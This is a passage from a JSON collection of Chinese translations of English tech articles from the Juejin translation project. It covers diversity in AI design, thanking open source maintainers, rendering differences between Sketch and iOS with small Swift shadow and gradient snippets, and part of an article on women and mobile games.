together. It gives the feeling that someone has thought it all out, like it’s part of the plan.\n\nAfter discovering the link between Vertical Rhythm and Repetition, we went on and figured out several ways we could replicate 24px to bring some variations to the design.\n\nFinally, after getting tired of repeating 24px vertically, we tried repeating 24px horizontally as well.\n\nThat’s it! What have you learned about Vertical Rhythm? How would this knowledge shape your design or code from this point on? Let me know in the comments below!\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/why-we-desperately-need-women-to-design-ai.md",
    "content": "\n  > * 原文地址：[Why we desperately need women to design AI](https://medium.freecodecamp.org/why-we-desperately-need-women-to-design-ai-72cb061051df)\n  > * 原文作者：[Kate Brodock](https://medium.freecodecamp.org/@Just_Kate)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/why-we-desperately-need-women-to-design-ai.md](https://github.com/xitu/gold-miner/blob/master/TODO/why-we-desperately-need-women-to-design-ai.md)\n  > * 译者：[TobiasLee](http://tobiaslee.top)\n  > * 校对者：[Larry](https://github.com/lampui)、[Xinyu Zhang](https://helloworldzxy.github.io)\n\n  # 为什么我们渴求女性来设计 AI\n\n  ![](https://cdn-images-1.medium.com/max/2000/1*BNY9_C8mmlofjyQGEwHD4w.jpeg)\n\n[Siyan Ren](http://unsplash.com/photos/qLiFcanSpuA?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) 在 [Unsplash](https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) 上的摄影作品\n\n现在，在互联网和软件行业的工程师中，只有 12-15% 是女性。\n\n这里有两个例子来说明为什么这是一个严重的问题：\n\n- 你还记得 Apple 几年前发布的“健康”app 吗？它本意是提供一个健康信息和数据的“综合”接入点。但是，它却遗漏了一个几乎是所有女性都要面对的[健康问题](https://www.theverge.com/2014/9/25/6844021/apple-promised-an-expansive-health-app-so-why-cant-i-track)，然后 Apple 又花了一年来弥补这个缺陷。\n- 有个非常喜欢玩游戏的中学生女孩，但在游戏里她却找不到她能用的头像，因此非常沮丧。她[分析](https://www.washingtonpost.com/posteverything/wp/2015/03/04/im-a-12-year-old-girl-why-dont-the-characters-in-my-apps-look-like-me/)了 50 款流行的游戏，然后发现其中 98% 都提供了男性头像（绝大多数是免费的），而只有 46% 的游戏提供了女性头像（绝大多数是收费的）。当你知道几乎有[一半的玩家是女性](http://www.ecnmy.org/engage/45-percent-of-gamers-are-women-but-in-every-other-way-theyre-still-not-equal-to-men/)，是不是感到更加不公平了。\n\n我们不想让这样的事情再次发生，并且坚持在 [Women 2.0](https://medium.com/u/594d2bf6a0ba) 上强调这一点，我们已经做了十多年了。我们思考了很多关于多样性如何产生或为何缺乏的问题，我们认为它已经影响到并将持续影响到我们生活中的技术成果。这些技术与我们息息相关：决定我们的行为、思维过程、购物方式、世界观……以及任何其他你能提及的范围。这是我们最近推出一个女性技术人员的招聘平台 [Lane](https://lane.women2.com/) 的一部分原因。\n\n是谁来**创造**技术，这会直接影响到我们自身和周遭的世界。\n\n没有比 AI 和机器学习更具话题性了，它们渗透进了各个领域 — 家庭、金融、购物、娱乐……以及其他你能说出的领域。\n\n除了一些显而易见的原因，还有什么呢？\n\n### 多样的技术人员，才能有多样的产品\n\n你可以说 AI 是迄今为止我们见过能够对人类社会产生最大范围、最深远影响的技术之一，它触及或将触及我们所关心的绝大部分领域。而 AI 产品的形成和创造它的人的道德伦理水平、价值取向（是否存在偏见）以及个人权利是密切相关的，这就意味着我们需要密切关注：产品是否能代表所有的使用者。\n\n但这并不是一个既定的事实，谷歌 AI 和机器学习首席科学家[李飞飞](https://www.wired.com/2017/05/melinda-gates-and-fei-fei-li-want-to-liberate-ai-from-guys-with-hoodies/)早就已经认识到了这个问题。\n\n> “如果我们不让女性和有色人种参与技术工作 - 把她们当做真正的技术人员，让他们做真正的工作 - 那么我们的系统就会存在偏见。若想在从今往后的十到二十年之内扭转这个现象，即便有这样的可能性，也是微乎其微的。是时候让我们听听女性和其他的声音了，这样我们才能创造合理的产品，难道不是吗？这会很棒很酷，并且逐渐普及。但重要是我们必须让他们参与进来”  —— 李飞飞\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*HlvAvkUrrZHRVaqHfERc0g.png)\n\nAIForAll 的 Melinda Gates 和李飞飞，感谢 Pivotal 提供的照片。\n\nMelinda Gates 和李飞飞创立了 [AI4All](http://ai-4-all.org/)，这是一个针对部分 9 年级学生的课程，它将让这些学生们体验 AI 和机器学习。目前他们最大的障碍之一就是，AI 方面的技术领军人物自身缺乏多样化，所以挖掘具备代表性的编程人才需要大量的搜寻和筛选工作。\n\n构建 AI 的工程师的价值体现在他们拿出来的解决方案里，选择你家卧室粉刷的颜色可能不会有多大社会影响，但是如果你是在考虑如何改善癌症护理的质量，那就是另一个故事了。\n\n[IBM](https://www.ft.com/content/ca324dcc-dcb0-11e6-86ac-f253db7791c6) 知道这一点，所以他们设计了无性别的头像，来和医生一起改善癌症护理。\n\nIBM 的 Waston IoT 业务部门总经理 Harriet Green 表示，这是他们公司已有的“生活和呼吸多样化”的企业文化，引导下的结果。她说：“IBM 拥有不同性别和不同国籍的混合工程师团队，有来自中国、斯里兰卡、德国、斯堪的纳维亚和英国的成员”。\n\n### 管理机器永久化的行为\n\n[Leah Fessler](https://qz.com/911681/we-tested-apples-siri-amazon-echos-alexa-microsofts-cortana-and-googles-google-home-to-see-which-personal-assistant-bots-stand-up-for-themselves-in-the-face-of-sexual-harassment/) 在测试了几个个人助理机器人之后，写了一篇令人大开眼界的文章：看看她们是如何忍受性骚扰的（从字面上来看，他们性骚扰了女性机器人。顺便一提，如果你不改变设置的话，助理的声音默认是女性的）。\n\n结果并不是很好：机器人并没有反抗骚扰，而是被动消极的回应，这巩固了性别歧视。\n\n文章里这句话特别吸引我：\n\n> “之所以 Siri，Alexa，Cortana 和 Google Home 是女性的声音，是因为这样能够赚到更多的钱。是的，硅谷是一个由男性主导并且性别歧视到[臭名昭著](https://qz.com/531257/inside-the-surprisingly-sexist-world-of-artificial-intelligence/)的地方，但该现象的内在原因远不止于此。顾客们喜欢数字助理有女性的声音，而机器人助理的设计者为了获得顾客的满意，来收获市场上的成功，从而被驱动着把助理们的声音设计成女性。”\n\n我们可以进一步讨论机器人设计如何与资本主义相联系，使之成为历史规范而永久化，但 Leah 更甚。除了这些机器人“是女性”之外，她们会如何被对待？她们会做什么？\n\n下面是一些 Fessler 提供的她工作中的样例：\n\n![](https://cdn-images-1.medium.com/max/1600/1*Cv2NMnSbl1P8oqegGpcFoQ.png)\n\n> “Siri 和 Alexa 仍然是回避、感激或者是调情，而 Cortana 和 Google Home 则为了回应她们所理解的骚扰而开始讲笑话。”\n\nLeah 还提供其他几个例子，所有这些都表明，负责这些机器人的程序员在构建响应集时已经意识到了一些问题，但是直到“强奸”这个词被提出之前，对这些行为的回应都是错误的（如你所见，上面和在其他例子中，一些响应集是彻头彻尾的可怕... Siri 实际上想要调戏回去！）\n\n最后：\n\n> “尽管这些机器人背后的开发人员的确切性别比例我们不得而知，但我们绝对可以肯定绝大多数是男性；在创造这些机器人的科技公司里，女性只承担了 20％ 不到的[技术工作](http://graphics.wsj.com/diversity-in-tech-companies/)。因此，男性的机器人开发人员在编程这些机器人的时候，很有很可能用笑话作为对性骚扰的回应。他们是喜欢机器人这样“幽默”地回应，而不是明智和直接地对性骚扰做出反抗吗？\n\n这只是一个例子，说明如果您的工程师团队思想单调（或称为**缺乏多样性**），那么在创造我们每天都要交互的技术产品的时候，他们可能会巩固（甚至加剧？）一些我们正努力去改变的低俗文化和社会习俗。\n\n### 解决的方法：让工程师团队有更多的女性\n\n有大量的研究表明：公司中女性比例的上升在各个层面 — 特别是[领导力](https://www.fastcompany.com/3033950/why-the-most-successful-organizations-have-women-and-millennials-in-charg) — 都有着积极的影响。没错，这意味着更多的[钱](https://www.inc.com/melanie-curtin/science-companies-with-women-in-top-management-are-significantly-more-profitable.html)。\n\n那么创造一些东西，比如 AI 的时候，会怎么样呢？思想的多样化可以帮助[解决问题](http://www.scientificamerican.com/article/how-diversity-makes-us-smarter/)，女性被认为是更具有[协作能力](https://medium.com/@theBoardlist/5-reasons-why-having-women-in-leadership-benefits-your-entire-company-labor-day-2016-a3e46162a7a0)。有更多女性的团队和全是男性的团队相比，会更有[生产力、创造力和实验精神](http://www.popularmechanics.com/technology/a19908/secret-weapon-women-in-technology/)。程序媛也可以写出[很棒的代码](https://www.usnews.com/news/blogs/data-mine/2016/02/18/study-shows-women-are-better-coders-but-only-when-gender-is-hidden)。\n\n如果我们想设计能解决实际问题并且能够可持续化发展的 AI 驱动型产品，那么我们需要最好的团队。我们在项目中需要有不同的意见和想法，这意味我们需要增加工程师团队里的女性数量。\n\n所以，快去招聘女性吧，你会回来感谢我们的！\n\n\n---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/why-we-never-thank-open-source-maintainers.md",
    "content": "> * 原文地址：[Why we never thank open source maintainers](https://www.codementor.io/windsonyang/why-we-never-thank-open-source-maintainers-ed0nsw3zd)\n> * 原文作者：[Windson Yang](https://www.codementor.io/windsonyang)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/why-we-never-thank-open-source-maintainers.md](https://github.com/xitu/gold-miner/blob/master/TODO/why-we-never-thank-open-source-maintainers.md)\n> * 译者：[LeviDing](https://leviding.com)\n\n# 为什么我们从来不去感谢开源项目维护者\n\n![Why we never thank open source maintainers](https://process.filestackapi.com/cache=expiry:max/resize=width:700/compress/r9dlNLxVS721wAQQJm6q)\n\n你现在可以到 [Thank you, open source](https://www.thankyouopensource.com) 这个网站上为你最喜欢的开源项目写一句感谢的话了。\n\n#### Long Version\n\n下面是我对为什么我们从来不去感谢开源项目维护者的一些看法。\n\n#### 这样的项目我也可以做啊\n\n> “蛤？这项目对我来说也太简单了吧。”\n>\n> “我一周之内就能做一个更好的版本出来。”\n\n确实，很多人都可以在黑客马拉松（hackathon）中建一个小工具，但是维护一个项目比建立一个项目要困难得多。开源项目维护者不仅仅需要写代码，更多时候还需要：\n\n- 写项目文档；\n- 检查 Pull Request；\n- 看看大家提的 Issue；\n- 为项目增加新功能；\n- 在 Stack Overflow 等平台回答关于本项目的问题；\n- 在 QQ、微信等用户群里和用户讨论，回答问题。\n\n一个开源项目维护者必须一年到头无偿地做这么多复杂繁琐的工作。\n\n#### 当我们很方便的使用开源项目时，太容易忘记项目维护者的辛苦付出了\n\n我们如何使用一个开源项目：\n\n1. 我们在网上搜索遇到的问题的解决方案；\n2. 在一些博客和其他网站上进行搜索；\n3. 我们点击这个开源项目的链接，读项目的 README。安装并进行测试。哈哈哈，问题解决了！\n4. 我们转而看向了遇到的下一个问题。\n\n开源项目就像水和空气一样，人们只是享受它带来的好处并且习以为常。我们不会对空气或水说感谢，因为我们不知道那是谁造的。但是我们知道是谁创建了这些非常棒的开源项目。但是我们知道这么棒的开源项目是谁维护的啊。\n\n#### 项目维护者们并不在意这些\n\n> 开源项目使用者可能会想：\n> \n> “他们不需要这些，他们需要的是 pull request 和能够修复 bug 等实质性工作。”\n>\n> “我想他们更喜欢收到捐款。”\n\n但是他们真的很在意，[有时候，开源项目维护者真的需要你对他说一声谢谢](https://news.ycombinator.com/item?id=15623604)。当然，如果你能为项目捐款再好不过了，但是我知道的大多数开源项目维护者目的并不是赚钱。他们最终可能赚了钱，但与开发项目的动机相比，顶多算是一个副产品。我注意到，开源项目常常比非开源项目要好。因为最出色的开发者是出于激情和利他主义来开发产品的。如果你没能力或者不想捐钱，你可以给他们写句感谢的话。\n\n#### 我们真的太“忙”了\n\n> “我们正在用双手改变世界。”\n> \n> “我的项目必须在一周内启动。”\n> \n> “我们每天都有数百封邮件需要回复。”\n> \n> “我们只是没有时间。”\n\n这些开源项目有更大的潜力去改变世界；或许其中的哪个项目已经改变了世界。\n\n> Github 在 Rails 上使用 Ruby\n> Instagram 使用 django\n> 我们很多服务器都在运行着 Linux\n\n可能没有这些开源项目就没有我们现在的这些项目。\n\n十分钟，你可能做不了什么大事。现在社交媒体让我们养成了一种习惯，就是更愿意点击一个 upvote 或者类似的按钮，而不是花十分钟来写一封感谢信。尽管一个好的开源项目可能节省了不仅仅十分钟的时间。我在 ProductHunt 上公开 [www.thankyouopensource.com](https://www.thankyouopensource.com) 这个网站后，很多用户抱怨最低 300 个字符的限制条件。我设置这个条件是想避免像下面这样简单的话：\n\n> “谢谢，你们太棒了。”\n> \n> “非常感谢。”\n> \n> “我很喜欢你的开源项目。”\n\n我就得这些用户太“忙”了，没空写一封感谢信。但是这对我来说看起来像没有意义的垃圾邮件，我认为读这些就是在浪费时间。我们希望看到的感谢信是处于自愿的而不是义务的。这之间的不同对我们来说显而易见。我们希望维护者们知道我们为什么感谢他们的付出，他们的项目怎么帮助了我们，我们这些发自内心的感谢也是维护者们继续付出的强大动力之一。最重要的是，我们欢迎所有对维护项目感兴趣的人的加入，因为这确实是一件很棒的工作。一旦你成为了维护者，你会在感谢心中看到很多人对你付出的真诚的感谢。我建议在 GitHub 上加一个 **感谢** 的标签，不仅仅是感谢和激励维护者，更是邀请更多的人加入到其中。\n\n#### Final thoughts\n\nMaintainers are the friends we want and the employees companies look for. They have passion, willingness to share, and persistence. They are the real MVP and they deserve a thank-you note.\n\n#### 什么是 [Thank you, open source](https://www.thankyouopensource.com) 🎉\n\n这是一个非官方的，为大家向开源项目作者和维护者表达感谢的平台。同时它还为项目维护者们宣传其他项目提供了一个平台 🤙 \n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/why-your-app-looks-better-in-sketch.md",
    "content": "> * 原文地址：[Why Your App Looks Better in Sketch: Exploring rendering differences between Sketch and iOS](https://medium.com/@nathangitter/why-your-app-looks-better-in-sketch-3a01b22c43d7)\n> * 原文作者：[Nathan Gitter](https://medium.com/@nathangitter?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/why-your-app-looks-better-in-sketch.md](https://github.com/xitu/gold-miner/blob/master/TODO/why-your-app-looks-better-in-sketch.md)\n> * 译者：[Ryden Sun](https://github.com/rydensun)\n> * 校对者：[swants](https://github.com/swants), [atuooo](https://github.com/atuooo)\n\n# 为什么你的 APP 在 Sketch 上看起来更好: 探索 Sketch 和 iOS 的渲染差异\n\n### 找出两幅图的差异\n\n你能找到下面两幅图之间的不同点吗？\n\n![](https://cdn-images-1.medium.com/max/1000/1*y4jskGqLNFIK_XnJD2ivcw.jpeg)\n\n如果你仔细看，可能会注意到一些微妙的差别：\n\n右面的这幅图:\n\n1. 有更大的阴影。\n2. 有更深的渐变。\n3. “in” 这个单词在段落的第一行。\n\n左边的这幅图是 Sketch 的一张截图，右边的图是 iOS 系统实际产出的图。这些差别会在图像渲染的时候出现。他们有完全相同的字体，行间距，阴影半径，颜色和渐变属性 —— 所有的这些常量都是相同的。\n\n![](https://cdn-images-1.medium.com/max/800/1*nVZjiFK-DJllaBRrep5W2Q.gif)\n\n你可以看到，原始设计图的某些方面在从设计图到真实代码的转变过程中有所丢失。我们会对这些细节进行探索，因此你可以知道去注意哪里并且如何修复这些问题。\n\n### 我们为什么要关心\n\n设计对于成功的移动 APP 来说是至关重要的。尤其在 iOS 平台，用户已经习惯了 APP 运行顺畅并且界面优美。\n\n如果你是一个移动应用的设计者或者开发者，你知道小的细节对于终端的用户体验是多么的重要。高质量的软件只能从那些深切在乎他们的作品的人们中产出。\n\nAPP 为什么有可能看起来并不像原始设计稿那样好，这是有很多原因的。我们会调查更精细的原因中的其中一个 —— Sketch 和 iOS 渲染时的不同。\n\n![](https://cdn-images-1.medium.com/max/2000/1*MOcAlyqfmddQ0Ytpjw6ORA.jpeg)\n\n### 转化过程中的丢失\n\n某些特定类型的用户体验因素在 Sketch 和 iOS 上有显著的不同。我们将探索以下几个因素：\n\n1. 排版\n2. 阴影\n3. 渐变\n\n### 1. 排版\n\n排版有许多种实现方式，但在这个测试中我将会用 label 来实现（ Sketch 中的 “Text” 元素，iOS 中的 ‘UILabel’）。\n让我们一起来看一下其中的一些不同:\n\n![](https://cdn-images-1.medium.com/max/1000/1*1hmlpwlESTIIh7jOHL57Ug.jpeg)\n\n上面这个例子中最大的不同就是换行的位置。设计图中的第三组以 “This text is SF Semibold” 开始的文字，在 “25” 后面进行换行，但在 app 中，换行是在 “points” 后进行的。这个相同的问题会发生在那些换行不一致的文字段落中。\n另一个比较小的不同是 leading（行间距）和 tracking（字符间距）在 Sketch 中稍大一些。\n\n当他们直接被覆盖时，这些不同会被更容易看到：\n\n![](https://cdn-images-1.medium.com/max/800/1*kLWEbWg31g1H4Gw06uYPQg.gif)\n\n那使用其他的字体会怎样呢?  将 San Francisco 字体替换成 Lato（一个更广泛使用的免费字体），我们得到了下面的结果：\n\n![](https://cdn-images-1.medium.com/max/800/1*-HuZDeMf9cc9H2Q3aIYDkw.gif)\n\n效果好了很多!\n\n行间距和字符间距仍旧存在一些不同，但是大体上是小了。不过要注意，如果文字需要和其他元素对齐比如背景图片，这些小的偏移量可能会相当明显。\n\n#### 如何修复\n\n其中的一些问题是和 iOS 的默认字体：San Francisco 有关的。当 iOS 渲染系统字体时，它会自动包括基于字号的字符间距。这个自动应用的字符间距表可以[在苹果网站上](https://developer.apple.com/fonts/)获得。有一个[ Sketch 插件](https://github.com/kylehickinson/Sketch-SF-UI-Font-Fixer)叫做 “SF Font Fixer”，它在 Sketch 中反映出了这些值。如果你的设计稿用到了 San Francisco 字体，我十分推荐使用这个插件。\n\n(边注: 要一直记住在 Sketch 中将 text box（ Sketch 控件）紧紧包住文字四周。这个可以通过选择文字并且打开 “Fixed” 和 “Auto” 对齐来实现，接着重置 text box 的宽度。如果存在任何额外的空间，这会很容易导致不正确的值输入到布局中。)\n\n### 2. 阴影\n\n阴影并不像排版一样有全局布局的规则，它并没有清晰的定义。\n\n![](https://cdn-images-1.medium.com/max/1000/1*5KfDKJNuPB_dTDI9XDX2hA.jpeg)\n\n我们可以在上面的图片中清晰的看到，阴影在 iOS 上默认的会大一些。在上面的这些例子中，这一点在长方形的边框上造成了最明显的不同。\n\n阴影是比较棘手的，因为 Sketch 和 iOS 的变量是不一样的。最大的不同是 ‘CALayer’ 没有 “spread” 的概念，即使我们可以通过增大 layer 的面积使他包含整个阴影来解决。\n\n![](https://cdn-images-1.medium.com/max/1000/1*0DdS1KFBq89nKNn_dWnfTg.jpeg)\n\n阴影可以在 Sketch 和 iOS 的不同上变化很广泛。我曾看到过一些阴影在 Sketch 上看起来很好但在真机上几乎不可见，即使他们有一模一样的参数。\n\n![](https://cdn-images-1.medium.com/max/800/1*6lznpdyRVwU1kS77-6qeug.gif)\n\n#### 如何修复\n\n阴影很棘手，它需要手动的调节来匹配原始的设计图。通常地，阴影的半径需要变小同时不透明度需要变高。\n\n```\n// old\nlayer.shadowColor = UIColor.black.cgColor\nlayer.shadowOpacity = 0.2\nlayer.shadowOffset = CGSize(width: 0, height: 4)\nlayer.shadowRadius = 10\n\n// new\nlayer.shadowColor = UIColor.black.cgColor\nlayer.shadowOpacity = 0.3\nlayer.shadowOffset = CGSize(width: 0, height: 6)\nlayer.shadowRadius = 7\n```\n\n所需的改变是会根据大小，颜色和形状来变化的 —— 这里，我们仅仅需要一些很小的调整。\n\n### 3. 渐变\n\n渐变结果证明也是很麻烦。\n\n![](https://cdn-images-1.medium.com/max/1000/1*Gmw_KgTd_o2BNIbsmEDIXw.jpeg)\n\n三个渐变中，只有“橙色”（上）和“蓝色”（右下）有所差异。\n\n橙色的渐变在 Sketch 上看起来更加横向，但是在 iOS 上更加的竖向。因此，整体的颜色渐变在最终的 app 上要比设计时更黑一些。\n\n蓝色渐变的不同更加的突出一些 —— iOS 上的角度更加的偏向垂直。这个渐变是被三种颜色来定义的： 左下角的浅蓝色，中间的深蓝和右上角的粉色。\n\n![](https://cdn-images-1.medium.com/max/800/1*4D59Cblav3cAaA4OZS0ATQ.gif)\n\n#### **如何修复**\n\n如果渐变是需要角度的，那开始点和结束点可能需要一些调整。尝试根据这些不同轻轻地偏移 `CAGradientLayer` 的 `startPoint` 和 `endPoint` 属性。\n\n```\n// old\nlayer.startPoint = CGPoint(x: 0, y: 1)\nlayer.endPoint = CGPoint(x: 1, y: 0)\n\n// new\nlayer.startPoint = CGPoint(x: 0.2, y: 1)\nlayer.endPoint = CGPoint(x: 0.8, y: 0)\n```\n\n这里没有什么魔法公式 —— 这些值需要不断的调整迭代知道两个结果在视觉上匹配。\n\n*Jirka Třečák* 发布了[一个精彩的回复](https://medium.com/@JiriTrecak/as-for-the-gradients-there-actually-is-a-magic-formula-89055944b52a)，包含了链接来解释渐变在渲染时是如何工作的。如果你想深入源码了解的话可以去看一下！\n\n### 自己亲眼看看\n\n我创建了一个演示 app，可以在真机上简单看一下这些不同。它包含了上面的这些例子，同时还有源码和原始的 Sketch 文件所以你可以任意的调整这些常量。\n\n这是一个很好的办法来在团队内部增强意识 —— 只需要把你的手机给他们然后他们自己就会看到。简单地触摸屏幕上任意地方就可以切换图片（类似于上面的 gif 图片）。\n\n获得开源的演示 app: [https://github.com/nathangitter/ Sketch -vs-  iOS  ](https://github.com/nathangitter/ Sketch -vs-  iOS  )\n\n![](https://cdn-images-1.medium.com/max/1000/1*CkGRiP4ZvKpBEHdw_4dwdQ.jpeg)\n\nSketch vs iOS 演示 APP —— 自己试一下！\n\n### 总结\n\n不要假设同样的值意味着同样的结果。即使数值是匹配的，实际的视觉表现也可能不匹配。\n\n在最后，任何设计在实现后都需要迭代。设计师和工程师良好地协作对于高质量最终产品是起决定性的。\n\n* * *\n\n喜欢这个文章？ 在 Medium 这里留下一些掌声👏👏👏 并且分享给你的 iOS 设计/开发朋友。想要持续获取移动 app 设计/开发的最新信息？ 在 Twitter 上关注我们： [https://twitter.com/nathangitter](https://twitter.com/nathangitter)\n\n感谢[Rick Messer](https://medium.com/@rickmesser)和[David Okun](https://twitter.com/dokun24)对这篇文章的校正。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[  iOS  ](https://github.com/xitu/gold-miner#  iOS  )、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/women-and-mobile-games-learnings-for-developers.md",
    "content": "> * 原文地址：[Women and mobile games: learnings for developers](https://medium.com/googleplaydev/women-and-mobile-games-learnings-for-developers-cc4ac63da3f2)\n> * 原文作者：[Tobias Knoke](https://medium.com/@tobias.knoke?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/women-and-mobile-games-learnings-for-developers.md](https://github.com/xitu/gold-miner/blob/master/TODO/women-and-mobile-games-learnings-for-developers.md)\n> * 译者：[corresponding](https://github.com/corresponding)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)，[tanglie1993](https://github.com/tanglie1993)\n\n# 开发者须知：女性玩家和手机游戏\n\n## 让手机游戏变得更加多元化，更具包容性，更具吸引力的市场机遇\n\n![](https://cdn-images-1.medium.com/max/800/0*U3P6oAG_I-73IuY6.)\n\n目前世界上有二十多亿部活跃的安卓设备，这意味着比起过去更多的人在玩手机游戏。手机游戏玩家的增长导致了这些游戏玩家的特点，需求和动机的多样性在不断扩大。我们之前文章 [谁在玩手机游戏](https://medium.com/googleplaydev/who-plays-mobile-games-8b33f76bb6d8) 讨论过，现在需要以满足在玩家玩游戏时的需求来对待玩家，而不是根据一些刻板印象和像人口统计那样的死板数据。与此同时，现在在游戏界有很多关于性别和包容的讨论，而关于**女性手机游戏玩家**的研究和讨论却很少。\n\n我们想更多的了解这方面，所以我们和游戏情报商 NewZoo 合作，进行定量的研究，希望以此了解美国女性玩家的体验和看法。我们和数十位游戏作者，测评人员，玩家和学者一起合作，把我们的研究场景化。通过 [交互性的体验](https://play.google.com/about/changethegame) 和 [在总结中收获更多](http://services.google.com/fh/files/misc/changethegame_white_paper.pdf) ，我们深入研究。请继续读下去，了解开发者如何让游戏更具包容性，并吸引近在咫尺的玩家。\n\n![](https://cdn-images-1.medium.com/max/800/0*CJxXRMyFuqRKo9kU.)\n\n### **了解你的用户**\n\n无论从人数上和偏好上来说，女性手机游戏玩家有巨大市场潜力。在我们的调查中，美国有大量女性手机游戏玩家（其中 65% 都处于 10 - 65 岁年龄段）。在过去的一年里，这比去电影院看过电影的比例（62%）或读过一本书的比例（44%）更加高。这里可以清晰的看出，比起其他娱乐活动，女性更愿意玩手机游戏。报告还表明，女性就和男性一样喜欢玩手机游戏 — **有一半的玩家是女性**！相比其他平台，女性不仅更喜欢在手机上游戏，而且**女性玩的频率比男性更高**。\n\n作为游戏开发者，你意识到女性游戏的机会了吗？这可能是个通过了解这些用户而进入这个未开发的市场的机会。第一步，你可能要衡量和评估女性玩家的占比。**在你的用户群体中，女性是否被很好的代表了？她们和男性是否有不同的游戏体验？**\n\n对开发新游戏时的建议：当你在设计游戏或者思考未来的发展方向时，多去想想那些目标用户，而不用去讨好那些你所认为的\"典型\"用户。不同用户的游戏体验可能会不同吗？通过彻底分析和研究用户，你可以从那些尚未被顾及的用户（比如那些女性游戏玩家）中寻找商机。\n\n![](https://cdn-images-1.medium.com/max/800/0*0Cc60YU1-Qd9vLyl.)\n\n### **制作更具包容性的游戏**\n\n如果你观察 [ Google 应用市场](https://play.google.com/store) 中受欢迎的游戏，部分图像和图标的性质暗示着女性玩家在游戏世界中是一个相对较小的群体。在Google应用市场收入前 100 的游戏中，以男性角色作为图标的游戏数量比以女性角色作为图标的游戏数量多 44%。所以在我们的调查中，尽管女性玩家玩的更多，但是她们还是认为自己不属于现在的游戏社区。在推广游戏时，更换更合适的图标和形象，会让你从竞争中脱颖而出，也会减少你错过潜在玩家的可能。请尝试以下几点：\n\n* 在做 [商店列表](https://support.google.com/googleplay/android-developer/answer/6227309?hl=en-GB) 时，**测试更有包容性的图像**。\n* **多关注应用的图标，截图和视频**，并考虑测试不同图像对转换率的影响。\n* 考虑下**使用女性角色来体验游戏**，或者在运行**电话回访**时**尝试新的可能性**。\n* 追踪用户对游戏角色的共鸣，同时**倾听用户群体的反馈**也很重要。\n\n### **发展一个多样化的开发团队**\n\n在一大群人中提取共同需求很难。我们都想开发**自己**想玩的游戏。为了减少偏见，**在游戏生命周期的几个阶段，都需要获取潜在用户的反馈**。\n\n你的开发团队的形象也影响能否取到悦更多的用户。尽管有如此多的女性玩家，游戏行业仍然只关注男性用户: IDGA的调查发现，女性、跨性别者和其他只占 [全球 27.8% 的游戏产业](http://c.ymcdn.com/sites/www.igda.org/resource/resmgr/files__2016_dss/IGDA_DSS_2016_Summary_Report.pdf) 。这种不平衡的现象呼应我们的研究结果，只有 23％ 的女性和 40％ 